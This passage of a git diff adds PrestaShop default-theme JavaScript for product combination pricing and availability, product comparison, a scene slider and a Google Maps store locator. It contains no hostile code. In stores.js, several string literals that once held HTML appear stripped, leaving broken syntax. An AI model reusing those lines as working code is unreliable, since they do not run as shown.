+ { + if (combinations[combination]['minimal_quantity'] > 1) + { + $('#minimal_quantity_label').html(combinations[combination]['minimal_quantity']); + $('#minimal_quantity_wanted_p').fadeIn(); + $('#quantity_wanted').val(combinations[combination]['minimal_quantity']); + $('#quantity_wanted').bind('keyup', function() {checkMinimalQuantity(combinations[combination]['minimal_quantity']);}); + } + //combination of the user has been found in our specifications of combinations (created in back office) + selectedCombination['unavailable'] = false; + selectedCombination['reference'] = combinations[combination]['reference']; + $('#idCombination').val(combinations[combination]['idCombination']); + + //get the data of product with these attributes + quantityAvailable = combinations[combination]['quantity']; + selectedCombination['price'] = combinations[combination]['price']; + selectedCombination['unit_price'] = combinations[combination]['unit_price']; + selectedCombination['specific_price'] = combinations[combination]['specific_price']; + if (combinations[combination]['ecotax']) + selectedCombination['ecotax'] = combinations[combination]['ecotax']; + else + selectedCombination['ecotax'] = default_eco_tax; + + //show the large image in relation to the selected combination + if (combinations[combination]['image'] && combinations[combination]['image'] != -1) + displayImage($('#thumb_' + combinations[combination]['image']).parent()); + + //show discounts values according to the selected combination + if (combinations[combination]['idCombination'] && combinations[combination]['idCombination'] > 0) + displayDiscounts(combinations[combination]['idCombination']); + + //get available_date for combination product + selectedCombination['available_date'] = combinations[combination]['available_date']; + + //update the display + updateDisplay(); + + if(typeof(firstTime) != 'undefined' && firstTime) + refreshProductImages(0); + else + refreshProductImages(combinations[combination]['idCombination']); + //leave the function because combination has been found + return; + } + } + //this combination doesn't exist (not created in back office) + selectedCombination['unavailable'] = true; + if (typeof(selectedCombination['available_date']) != 'undefined') + delete selectedCombination['available_date']; + updateDisplay(); +} + +//update display of the availability of the product AND the prices of the product +function updateDisplay() +{ + var productPriceDisplay = productPrice; + var productPriceWithoutReductionDisplay = productPriceWithoutReduction; + + if (!selectedCombination['unavailable'] && quantityAvailable > 0 && productAvailableForOrder == 1) + { + //show the choice of quantities + $('#quantity_wanted_p:hidden').show('slow'); + + //show the "add to cart" button ONLY if it was hidden + $('#add_to_cart:hidden').fadeIn(600); + + //hide the hook out of stock + $('#oosHook').hide(); + + $('#availability_date').fadeOut(); + + //availability value management + if (availableNowValue != '') + { + //update the availability statut of the product + $('#availability_value').removeClass('warning_inline'); + $('#availability_value').text(availableNowValue); + if(stock_management == 1) + $('#availability_statut:hidden').show(); + } + else + $('#availability_statut:visible').hide(); + + //'last quantities' message management + if (!allowBuyWhenOutOfStock) + { + if (quantityAvailable <= maxQuantityToAllowDisplayOfLastQuantityMessage) + $('#last_quantities').show('slow'); + else + $('#last_quantities').hide('slow'); + } + + if (quantitiesDisplayAllowed) + { + $('#pQuantityAvailable:hidden').show('slow'); + $('#quantityAvailable').text(quantityAvailable); + + if (quantityAvailable < 2) // we have 1 or less product in stock and need to show "item" instead of "items" + { + $('#quantityAvailableTxt').show(); + $('#quantityAvailableTxtMultiple').hide(); + } + else + { + $('#quantityAvailableTxt').hide(); + $('#quantityAvailableTxtMultiple').show(); + } + } + } + else + { + //show the hook out of stock + if (productAvailableForOrder == 1) + { + $('#oosHook').show(); + if ($('#oosHook').length > 0 && function_exists('oosHookJsCode')) + oosHookJsCode(); + } + + //hide 'last quantities' message if it was previously visible + $('#last_quantities:visible').hide('slow'); + + //hide the quantity of pieces if it was previously visible + $('#pQuantityAvailable:visible').hide('slow'); + + //hide the choice of quantities + if (!allowBuyWhenOutOfStock) + $('#quantity_wanted_p:visible').hide('slow'); + + //display that the product is unavailable with theses attributes + if (!selectedCombination['unavailable']) + $('#availability_value').text(doesntExistNoMore + (globalQuantity > 0 ? ' ' + doesntExistNoMoreBut : '')).addClass('warning_inline'); + else + { + $('#availability_value').text(doesntExist).addClass('warning_inline'); + $('#oosHook').hide(); + } + if(stock_management == 1 && !allowBuyWhenOutOfStock) + $('#availability_statut:hidden').show(); + + if (typeof(selectedCombination['available_date']) != 'undefined' && selectedCombination['available_date']['date'].length != 0) + { + var available_date = selectedCombination['available_date']['date']; + var tab_date = available_date.split('-'); + var time_available = new Date(tab_date[0], tab_date[1], tab_date[2]); + time_available.setMonth(time_available.getMonth()-1); + var now = new Date(); + if (now.getTime() < time_available.getTime() && $('#availability_date_value').text() != selectedCombination['available_date']['date_formatted']) + { + $('#availability_date').fadeOut('normal', function(){ + $('#availability_date_value').text(selectedCombination['available_date']['date_formatted']); + $(this).fadeIn(); + }); + } + else if(now.getTime() < time_available.getTime()) + $('#availability_date').fadeIn(); + } + else + $('#availability_date').fadeOut(); + + //show the 'add to cart' button ONLY IF it's possible to buy when out of stock AND if it was previously invisible + if (allowBuyWhenOutOfStock && !selectedCombination['unavailable'] && productAvailableForOrder == 1) + { + $('#add_to_cart:hidden').fadeIn(600); + + if (availableLaterValue != '') + { + $('#availability_value').text(availableLaterValue); + if(stock_management == 1) + $('#availability_statut:hidden').show('slow'); + } + else + $('#availability_statut:visible').hide('slow'); + } + else + { + $('#add_to_cart:visible').fadeOut(600); + if(stock_management == 1) + $('#availability_statut:hidden').show('slow'); + } + + if (productAvailableForOrder == 0) + $('#availability_statut:visible').hide(); + } + + if (selectedCombination['reference'] || productReference) + { + if (selectedCombination['reference']) + $('#product_reference span').text(selectedCombination['reference']); + else if (productReference) + $('#product_reference span').text(productReference); + $('#product_reference:hidden').show('slow'); + } + else + $('#product_reference:visible').hide('slow'); + + //update display of the the prices in relation to tax, discount, ecotax, and currency criteria + if (!selectedCombination['unavailable'] && productShowPrice == 1) + { + var priceTaxExclWithoutGroupReduction = ''; + + // retrieve price without group_reduction in order to compute the group reduction after + // the specific price discount (done in the JS in order to keep backward compatibility) + priceTaxExclWithoutGroupReduction = ps_round(productPriceTaxExcluded, 6) * (1 / group_reduction); + + var tax = (taxRate / 100) + 1; + var taxExclPrice = priceTaxExclWithoutGroupReduction + (selectedCombination['price'] * currencyRate); + + if (selectedCombination.specific_price && selectedCombination.specific_price['id_product_attribute']) + { + if (selectedCombination.specific_price['price'] && selectedCombination.specific_price['price'] >=0) + var taxExclPrice = (specific_currency ? selectedCombination.specific_price['price'] : selectedCombination.specific_price['price'] * currencyRate); + else + var taxExclPrice = productBasePriceTaxExcluded * currencyRate + (selectedCombination['price'] * currencyRate); + } + else if (product_specific_price.price && product_specific_price.price >= 0) + var taxExclPrice = (specific_currency ? product_specific_price.price : product_specific_price.price * currencyRate) + (selectedCombination['price'] * currencyRate); + + if (!displayPrice && !noTaxForThisProduct) + productPriceDisplay = taxExclPrice * tax; // Need to be global => no var + else + productPriceDisplay = ps_round(taxExclPrice, 2); // Need to be global => no var + + productPriceWithoutReductionDisplay = productPriceDisplay * group_reduction; + var reduction = 0; + if (selectedCombination['specific_price'].reduction_price || selectedCombination['specific_price'].reduction_percent) + { + reduction_price = (specific_currency ? selectedCombination['specific_price'].reduction_price : selectedCombination['specific_price'].reduction_price * currencyRate); + reduction = productPriceDisplay * (parseFloat(selectedCombination['specific_price'].reduction_percent) / 100) + reduction_price; + if (reduction_price && (displayPrice || noTaxForThisProduct)) + reduction = ps_round(reduction / tax, 6); + + } + else if (product_specific_price && product_specific_price.reduction) + { + if (product_specific_price.reduction_type == 'amount') + reduction_price = (specific_currency ? product_specific_price.reduction : product_specific_price.reduction * currencyRate); + else + reduction_price = 0; + + if (product_specific_price.reduction_type == 'percentage') + reduction_percent = productPriceDisplay * parseFloat(product_specific_price.reduction); + + reduction = reduction_price + reduction_percent; + if (reduction_price && (displayPrice || noTaxForThisProduct)) + reduction = ps_round(reduction / tax, 6); + } + + if (selectedCombination.specific_price) + { + if (selectedCombination['specific_price'] && selectedCombination['specific_price'].reduction_type == 'percentage') + { + $('#reduction_amount').hide(); + $('#reduction_percent_display').html('-' + parseFloat(selectedCombination['specific_price'].reduction_percent) + '%'); + $('#reduction_percent').show(); + } else if (selectedCombination['specific_price'].reduction_type == 'amount' && selectedCombination['specific_price'].reduction_price != 0) { + $('#reduction_amount_display').html('-' + formatCurrency(reduction_price, currencyFormat, currencySign, currencyBlank)); + $('#reduction_percent').hide(); + $('#reduction_amount').show(); + } else { + $('#reduction_percent').hide(); + $('#reduction_amount').hide(); + } + } + + if (product_specific_price['reduction_type'] != '' || selectedCombination['specific_price'].reduction_type != '') + $('#discount_reduced_price,#old_price').show(); + else + $('#discount_reduced_price,#old_price').hide(); + if ((product_specific_price['reduction_type'] == 'percentage' && selectedCombination['specific_price'].reduction_type == 'percentage') || selectedCombination['specific_price'].reduction_type == 'percentage') + $('#reduction_percent').show(); + else + $('#reduction_percent').hide(); + if (product_specific_price['price'] || (selectedCombination.specific_price && selectedCombination.specific_price['price'])) + $('#not_impacted_by_discount').show(); + else + $('#not_impacted_by_discount').hide(); + + productPriceDisplay -= reduction; + var tmp = productPriceDisplay * group_reduction; + productPriceDisplay = ps_round(productPriceDisplay * group_reduction, 2); + + var ecotaxAmount = !displayPrice ? ps_round(selectedCombination['ecotax'] * (1 + ecotaxTax_rate / 100), 2) : selectedCombination['ecotax']; + productPriceDisplay += ecotaxAmount; + productPriceWithoutReductionDisplay += ecotaxAmount; + + var our_price = ''; + if (productPriceDisplay > 0) { + our_price = formatCurrency(productPriceDisplay, currencyFormat, currencySign, currencyBlank); + } else { + our_price = formatCurrency(0, currencyFormat, currencySign, currencyBlank); + } + $('#our_price_display').text(our_price); + $('#old_price_display').text(formatCurrency(productPriceWithoutReductionDisplay, currencyFormat, currencySign, currencyBlank)); + if (productPriceWithoutReductionDisplay > productPriceDisplay) + $('#old_price,#old_price_display,#old_price_display_taxes').show(); + else + $('#old_price,#old_price_display,#old_price_display_taxes').hide(); + // Special feature: "Display product price tax excluded on product page" + var productPricePretaxed = ''; + if (!noTaxForThisProduct) + productPricePretaxed = productPriceDisplay / tax; + else + productPricePretaxed = productPriceDisplay; + $('#pretaxe_price_display').text(formatCurrency(productPricePretaxed, currencyFormat, currencySign, currencyBlank)); + // Unit price + productUnitPriceRatio = parseFloat(productUnitPriceRatio); + if (productUnitPriceRatio > 0 ) + { + newUnitPrice = (productPriceDisplay / parseFloat(productUnitPriceRatio)) + selectedCombination['unit_price']; + $('#unit_price_display').text(formatCurrency(newUnitPrice, currencyFormat, currencySign, currencyBlank)); + } + + // Ecotax + ecotaxAmount = !displayPrice ? ps_round(selectedCombination['ecotax'] * (1 + ecotaxTax_rate / 100), 2) : selectedCombination['ecotax']; + $('#ecotax_price_display').text(formatCurrency(ecotaxAmount, currencyFormat, currencySign, currencyBlank)); + } +} + +//update display of the large image +function displayImage(domAAroundImgThumb, no_animation) +{ + if (typeof(no_animation) == 'undefined') + no_animation = false; + if (domAAroundImgThumb.attr('href')) + { + var newSrc = domAAroundImgThumb.attr('href').replace('thickbox', 'large'); + if ($('#bigpic').attr('src') != newSrc) + { + $('#bigpic').attr('src', newSrc); + if (typeof(jqZoomEnabled) != 'undefined' && jqZoomEnabled) + $('#bigpic').attr('rel', domAAroundImgThumb.attr('href')); + } + $('#views_block li a').removeClass('shown'); + $(domAAroundImgThumb).addClass('shown'); + } +} + +//update display of the discounts table +function displayDiscounts(combination) +{ + $('#quantityDiscount tbody tr').each(function() { + if (($(this).attr('id') != 'quantityDiscount_0') && + ($(this).attr('id') != 'quantityDiscount_' + combination) && + ($(this).attr('id') != 'noQuantityDiscount')) + $(this).fadeOut('slow'); + }); + + if ($('#quantityDiscount_' + combination).length != 0) + { + $('#quantityDiscount_' + combination).show(); + $('#noQuantityDiscount').hide(); + } + else + $('#noQuantityDiscount').show(); +} + +// Serialscroll exclude option bug ? +function serialScrollFixLock(event, targeted, scrolled, items, position) +{ + serialScrollNbImages = $('#slides li:visible').length; + serialScrollNbImagesDisplayed = 3; + + var leftArrow = position == 0 ? true : false; + var rightArrow = position + serialScrollNbImagesDisplayed >= serialScrollNbImages ? true : false; + + $('#scroll_left').css('cursor', leftArrow ? 'default' : 'pointer').css('display', leftArrow ? 'none' : 'block').fadeTo(0, leftArrow ? 0 : 1); + $('#scroll_right').css('cursor', rightArrow ? 'default' : 'pointer').fadeTo(0, rightArrow ? 0 : 1).css('display', rightArrow ? 'none' : 'block'); + return true; +} + +// Change the current product images regarding the combination selected +function refreshProductImages(id_product_attribute) +{ + $('#slides_frame').scrollTo('li:eq(0)', 700, {axis:'x'}); + + id_product_attribute = parseInt(id_product_attribute); + + if (id_product_attribute > 0 && typeof(combinationImages) != 'undefined' && typeof(combinationImages[id_product_attribute]) != 'undefined') + { + $('#slides li').hide(); + $('#slides').trigger('goto', 0); + for (var i = 0; i < combinationImages[id_product_attribute].length; i++) + $('#thumbnail_' + parseInt(combinationImages[id_product_attribute][i])).show(); + if (parseInt($('#slides_frame >li:visible').length) < parseInt($('#slides_frame >li').length)) + $('#wrapResetImages').show('slow'); + else + $('#wrapResetImages').hide('slow'); + } + else + { + $('#slides li').show(); + if (parseInt($('#slides_frame >li').length) == parseInt($('#slides_frame >li:visible').length)) + $('#wrapResetImages').hide('slow'); + } +} + +var positions = new Array(); +//To do after loading HTML +$(document).ready(function() +{ flexSlide(); + if($('#accessoires').length>0){ + //init the serialScroll for thumbs + $('#slides').serialScroll({ + items:'li:visible', + prev:'#scroll_left', + next:'#scroll_right', + axis:'x', + offset:0, + start:0, + stop:true, + onBefore:serialScrollFixLock, + duration:700, + step: 3, + lazy: true, + lock: false, + force:false, + cycle:false + }); + + + var thumb_width = $('#slides >li').width() + parseInt($('#slides >li').css('marginRight')); + $('#slides_frame').width((parseInt((thumb_width) * $('#slides >li').length)) + 'px'); + $('#slides').trigger('goto', 1);// SerialScroll Bug on goto 0 ? + $('#slides').trigger('goto', 0); + serialScrollFixLock('', '', '', '', 0);// SerialScroll Bug on goto 0 ? + } + + //hover 'other views' images management + // $('#views_block li a').hover( + // function(){displayImage($(this));}, + // function(){} + // ); + + //set jqZoom parameters if needed + if (typeof(jqZoomEnabled) != 'undefined' && jqZoomEnabled) + { + $('#bigpic').attr('rel', $('#bigpic').attr('src').replace('thickbox', 'large')); + $('img.jqzoom').jqueryzoom({ + xzoom: 200, //zooming div default width(default width value is 200) + yzoom: 200, //zooming div default width(default height value is 200) + offset: 21 //zooming div default offset(default offset value is 10) + //position: "right" //zooming div position(default position value is "right") + }); + } + //add a link on the span 'view full size' and on the big image + $('#view_full_size, #image-block img').click(function(){ + $('#views_block .shown').click(); + }); + + + original_url = window.location + ''; + first_url_check = true; + checkUrl(); + initLocationChange(); + + //init the price in relation of the selected attributes + if (typeof productHasAttributes != 'undefined' && productHasAttributes) + findCombination(true); + else if (typeof productHasAttributes != 'undefined' && !productHasAttributes) + refreshProductImages(0); + + $('#resetImages').click(function() { + refreshProductImages(0); + }); + $('#quantity_wanted_p a').click(function(){ + var qtyVal=$('#quantity_wanted_p input').val(); + if($(this).hasClass('more')){ + qtyVal++; + }else{ + if(qtyVal>1) + qtyVal--; + } + $('#quantity_wanted_p input').attr('value',qtyVal); + }); + + if($('#accessoires').length>0){ + newWidth=1; + $('#slides .item').each(function(i){ + positions[i]= newWidth; + newWidth += $(this).width(); + }); + $('#accessoires #slides ul').css('width',newWidth+'px'); + + + + + } +}); + +function saveCustomization() +{ + $('#quantityBackup').val($('#quantity_wanted').val()); + customAction = $('#customizationForm').attr('action'); + $('body select[id^="group_"]').each(function() { + customAction = customAction.replace(new RegExp(this.id + '=\\d+'), this.id +'=' + this.value); + }); + $('#customizationForm').attr('action', customAction); + $('#customizationForm').submit(); +} + +function submitPublishProduct(url, redirect, token) +{ + var id_product = $('#admin-action-product-id').val(); + + $.ajaxSetup({async: false}); + $.post(url + '/index.php', { + action:'publishProduct', + id_product: id_product, + status: 1, + redirect: redirect, + ajax: 1, + tab: 'AdminProducts', + token: token + }, + function(data) + { + if (data.indexOf('error') === -1) + document.location.href = data; + } + ); + return true; +} + +function checkMinimalQuantity(minimal_quantity) +{ + if ($('#quantity_wanted').val() < minimal_quantity) + { + $('#quantity_wanted').css('border', '1px solid red'); + $('#minimal_quantity_wanted_p').css('color', 'red'); + } + else + { + $('#quantity_wanted').css('border', '1px solid #BDC2C9'); + $('#minimal_quantity_wanted_p').css('color', '#374853'); + } +} + +function colorPickerClick(elt) +{ + id_attribute = $(elt).attr('id').replace('color_', ''); + $(elt).parent().parent().children().removeClass('selected'); + $(elt).fadeTo('fast', 1, function(){ + $(this).fadeTo('fast', 0, function(){ + $(this).fadeTo('fast', 1, function(){ + $(this).parent().addClass('selected'); + }); + }); + }); + $(elt).parent().parent().parent().children('.color_pick_hidden,#color_pick_hidden').val(id_attribute); + findCombination(false); +} + + +function getProductAttribute() +{ + // get product attribute id + product_attribute_id = $('#idCombination').val(); + product_id = $('#product_page_product_id').val(); + + // get every attributes values + request = ''; + //create a temporary 'tab_attributes' array containing the choices of the customer + var tab_attributes = []; + $('#attributes select, #attributes input[type=hidden], #attributes input[type=radio]:checked').each(function(){ + tab_attributes.push($(this).val()); + }); + + // build new request + for (var i in attributesCombinations) + for (var a in tab_attributes) + if (attributesCombinations[i]['id_attribute'] === tab_attributes[a]) + request += '/'+attributesCombinations[i]['group'] + '-' + attributesCombinations[i]['attribute']; + request = request.replace(request.substring(0, 1), '#/'); + url = window.location + ''; + + // redirection + if (url.indexOf('#') != -1) + url = url.substring(0, url.indexOf('#')); + + // set ipa to the customization form + $('#customizationForm').attr('action', $('#customizationForm').attr('action') + request) + window.location = url + request; +} + +function initLocationChange(time) +{ + if(!time) time = 500; + setInterval(checkUrl, time); +} + +function checkUrl() +{ + if (original_url != window.location || first_url_check) + { + first_url_check = false; + url = window.location + ''; + // if we need to load a specific combination + if (url.indexOf('#/') != -1) + { + // get the params to fill from a "normal" url + params = url.substring(url.indexOf('#') + 1, url.length); + tabParams = params.split('/'); + tabValues = []; + if (tabParams[0] == '') + tabParams.shift(); + for (var i in tabParams) + tabValues.push(tabParams[i].split('-')); + product_id = $('#product_page_product_id').val(); + // fill html with values + $('.color_pick').removeClass('selected'); + $('.color_pick').parent().parent().children().removeClass('selected'); + count = 0; + for (var z in tabValues) + for (var a in attributesCombinations) + if (attributesCombinations[a]['group'] === decodeURIComponent(tabValues[z][0]) + && attributesCombinations[a]['attribute'] === tabValues[z][1]) + { + count++; + // add class 'selected' to the selected color + $('#color_' + attributesCombinations[a]['id_attribute']).addClass('selected'); + $('#color_' + attributesCombinations[a]['id_attribute']).parent().addClass('selected'); + $('input:radio[value=' + attributesCombinations[a]['id_attribute'] + ']').attr('checked', true); + $('input:hidden[name=group_' + attributesCombinations[a]['id_attribute_group'] + ']').val(attributesCombinations[a]['id_attribute']); + $('select[name=group_' + attributesCombinations[a]['id_attribute_group'] + ']').val(attributesCombinations[a]['id_attribute']); + } + // find combination + if (count >= 0) + { + findCombination(false); + original_url = url; + } + // no combination found = removing attributes from url + else + window.location = url.substring(0, url.indexOf('#')); + } + } +} diff --git a/themes/default/js/products-comparison.js b/themes/default/js/products-comparison.js new file mode 100755 index 0000000..3a9118c --- /dev/null +++ b/themes/default/js/products-comparison.js @@ -0,0 +1,84 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +$('document').ready(function(){ + reloadProductComparison(); +}); + +reloadProductComparison = function() { + $('a.cmp_remove').click(function(){ + + var idProduct = $(this).attr('rel').replace('ajax_id_product_', ''); + + $.ajax({ + url: 'index.php?controller=products-comparison&ajax=1&action=remove&id_product=' + idProduct, + async: false, + cache: false, + success: function(){ + return true; + } + }); + }); + + $('input:checkbox.comparator').click(function(){ + + var idProduct = $(this).attr('value').replace('comparator_item_', ''); + var checkbox = $(this); + + if(checkbox.is(':checked')) +{ + $.ajax({ + url: 'index.php?controller=products-comparison&ajax=1&action=add&id_product=' + idProduct, + async: true, + cache: false, + success: function(data){ + if (data === '0') + { + checkbox.attr('checked', false); + alert(max_item); + } + }, + error: function(){ + checkbox.attr('checked', false); + } + }); + } + else + { + $.ajax({ + url: 'index.php?controller=products-comparison&ajax=1&action=remove&id_product=' + idProduct, + async: true, + cache: false, + success: function(data){ + if (data === '0') + checkbox.attr('checked', true); + }, + error: function(){ + checkbox.attr('checked', true); + } + }); + } + }); +} diff --git a/themes/default/js/scenes.js b/themes/default/js/scenes.js new file mode 100755 index 0000000..525c756 --- /dev/null +++ b/themes/default/js/scenes.js @@ -0,0 +1,91 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +nb_move_available = null; +current_move = 0; +next_scene_is_at_right = true; + +function loadScene(id_scene){ + $('#scenes').find('.screen_scene:visible').fadeTo(300, 0, function(){ + $(this).hide(); + $('#scenes').find('#screen_scene_' + id_scene).css('opacity', '0').show().fadeTo(500, 1); + }); + return false; +} + +function onSceneMove(){ + if (next_scene_is_at_right) current_move++; + else current_move--; + if (current_move === nb_move_available - 1) $('#scenes .next').fadeOut(); + else $('#scenes .next:hidden').fadeIn().css('display','block'); + if (current_move === 0) $('#scenes .prev').fadeOut().css('display','block'); + else $('#scenes .prev').fadeIn().css('display','block'); + return true; +} + +$(function () { + /* calcul nb of click to see every scenes */ + var ul_width = parseInt($('#scenes_list ul').width()); + var div_width = parseInt($('#scenes_list').width()); + nb_move_available = Math.ceil((ul_width-div_width)/li_width)+1; + if (nb_move_available < 2) + $('#scenes .next').hide(); + + /* set cluetip parameters */ + $('a.cluetip') + .cluetip({ + local:true, + cursor: 'pointer', + attribute:'accesskey', + cluetipClass: 'product_scene', + dropShadow: false, + dropShadowSteps: 0, + showTitle: false, + tracking: true, + sticky: false, + mouseOutClose: true, + closeText: i18n_scene_close, + fx: { + open: 'fadeIn', + openSpeed: 'fast' + } + }) + .css('opacity', 0.8); + + /* set serialscroll parameters */ + $('#scenes_list').serialScroll({ + items:'a', + duration:1000, + lock:false, + axis:'x', + cycle:false, + force:true, + lazy:true, + step:1, + onBefore:onSceneMove + }); + $('#scenes_list').trigger( 'goto', 0); + +}); diff --git a/themes/default/js/stores.js b/themes/default/js/stores.js new file mode 100755 index 0000000..6f7cff1 --- /dev/null +++ b/themes/default/js/stores.js @@ -0,0 +1,273 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +function initMarkers() +{ + searchUrl += '?ajax=1&all=1'; + downloadUrl(searchUrl, function(data) { + var xml = parseXml(data); + var markerNodes = xml.documentElement.getElementsByTagName('marker'); + var bounds = new google.maps.LatLngBounds(); + for (var i = 0; i < markerNodes.length; i++) + { + var name = markerNodes[i].getAttribute('name'); + var address = markerNodes[i].getAttribute('address'); + var addressNoHtml = markerNodes[i].getAttribute('addressNoHtml'); + var other = markerNodes[i].getAttribute('other'); + var note = markerNodes[i].getAttribute('note'); + var id_store = markerNodes[i].getAttribute('id_store'); + var has_store_picture = markerNodes[i].getAttribute('has_store_picture'); + var latlng = new google.maps.LatLng( + parseFloat(markerNodes[i].getAttribute('lat')), + parseFloat(markerNodes[i].getAttribute('lng'))); + createMarker(latlng, name, address, other, id_store, has_store_picture); + bounds.extend(latlng); + } + }); +} + +function searchLocations() +{ + // if($('#page').length==1) + // initMarkers(); + $('#stores_loader').show(); + var address = document.getElementById('addressInput').value; + var geocoder = new google.maps.Geocoder(); + geocoder.geocode({address: address}, function(results, status) { + if (status === google.maps.GeocoderStatus.OK) + searchLocationsNear(results[0].geometry.location); + else + alert(address+' '+translation_6); + $('#stores_loader').hide(); + }); +} + +function clearLocations(n) +{ + infoWindow.close(); + for (var i = 0; i < markers.length; i++) + markers[i].setMap(null); + + markers.length = 0; + + locationSelect.innerHTML = ''; + var option = document.createElement('option'); + option.value = 'none'; + + if($('#page').length==1){ + if (!n) + option.innerHTML = translation_1; + else{ + if (n === 1) + option.innerHTML = '1'+' '+translation_2; + else + option.innerHTML = n+' '+translation_3; + } + locationSelect.appendChild(option); + }else{ + if (!n) + $('#textErreur').html(translation_1).show(); + else + { + $('#textErreur').html('').hide(); + // if (n === 1) + // option.innerHTML = '1'+' '+translation_2; + // else + // option.innerHTML = n+' '+translation_3; + } + } + + $('#stores-table tr.node').remove(); + + $('.storestable').remove(); + $('.locationInputs').after('
              '); +} + +function searchLocationsNear(center) +{ + var radius = document.getElementById('radiusSelect').value; + + // alert(baseUri+'?controller=stores&ajax=1&latitude=' + center.lat() + '&longitude=' + center.lng() + '&radius=' + radius); + var searchUrl = baseUri+'?controller=stores&ajax=1&latitude=' + center.lat() + '&longitude=' + center.lng() + '&radius=' + radius; + downloadUrl(searchUrl, function(data) { + + var xml = parseXml(data); + var markerNodes = xml.documentElement.getElementsByTagName('marker'); + var bounds = new google.maps.LatLngBounds(); + + clearLocations(markerNodes.length); + + for (var i = 0; i < markerNodes.length; i++) + { + var name = markerNodes[i].getAttribute('name'); + var address = markerNodes[i].getAttribute('address'); + var addressNoHtml = markerNodes[i].getAttribute('addressNoHtml'); + var other = markerNodes[i].getAttribute('other'); + var note = markerNodes[i].getAttribute('note'); + // alert(markerNodes[i].getAttribute('distance')); + var distance = parseFloat(markerNodes[i].getAttribute('distance')); + var id_store = parseFloat(markerNodes[i].getAttribute('id_store')); + var phone = markerNodes[i].getAttribute('phone'); + var has_store_picture = markerNodes[i].getAttribute('has_store_picture'); + var latlng = new google.maps.LatLng( + parseFloat(markerNodes[i].getAttribute('lat')), + parseFloat(markerNodes[i].getAttribute('lng'))); + + createOption(name, distance, i); + createMarker(latlng, ''+name+''+' '+distance+' '+distance_unit+'', address, other, id_store, has_store_picture,phone,note); + bounds.extend(latlng); + + var noteReplace=note.replace('http://',''); + noteReplace=noteReplace.replace('www.',''); + + // $('#stores-table tr:last').after(''+parseInt(i + 1)+''+name+''+(has_store_picture === 1 ? '
              ' : '')+''+address+(phone !== '' ? '

              '+translation_4+' '+phone : '')+''+distance+' '+distance_unit+''); + // if($('#page').length==1) + // $('#stores-table tr:last').after(''+name+' ('+distance+' '+distance_unit+')'+'
              '+address+(phone !== '' ? '
              '+translation_4+' '+phone : '')+(note !== '' ? ' - '+noteReplace+'' : '')+''); + // else + // $('#stores-table tr:last').after(''+name+' ('+distance+' '+distance_unit+')'+'
              '+address+(phone !== '' ? '
              '+translation_4+' '+phone : '')+(note !== '' ? ' - '+noteReplace+'' : '')+''); + if($('#page').length==1) + $('#stores-table tr:last').after(''+name+' ('+distance+' '+distance_unit+')'+'
              '+address+(note !== '' ? ' - '+noteReplace+'' : '')+''); + else + $('#stores-table tr:last').after(''+name+' ('+distance+' '+distance_unit+')'+'
              '+address+(note !== '' ? ' - '+noteReplace+'' : '')+''); + + $('#stores-table').show(); + + // $(".customScrollbar").customScrollbar(); + if($('#page').length==1) + jQuery('.storestable').scrooly('resize'); + } + + if (markerNodes.length) + { + map.fitBounds(bounds); + var listener = google.maps.event.addListener(map, "idle", function() { + // if (map.getZoom() > 16) + // map.setZoom(15); + google.maps.event.removeListener(listener); + }); + } + map.setZoom(16); + locationSelect.style.visibility = 'visible'; + locationSelect.onchange = function() { + var markerNum = locationSelect.options[locationSelect.selectedIndex].value; + google.maps.event.trigger(markers[markerNum], 'click'); + }; + }); +} + +function createMarker(latlng, name, address, other, id_store, has_store_picture,phone,note) +{ + var html = ''+name+'
              '+address+(phone !== '' ? '
              '+phone : '')+'
              '+(note !== '' ? ''+translation_7+'' : '')+''+translation_5+'<\/a>
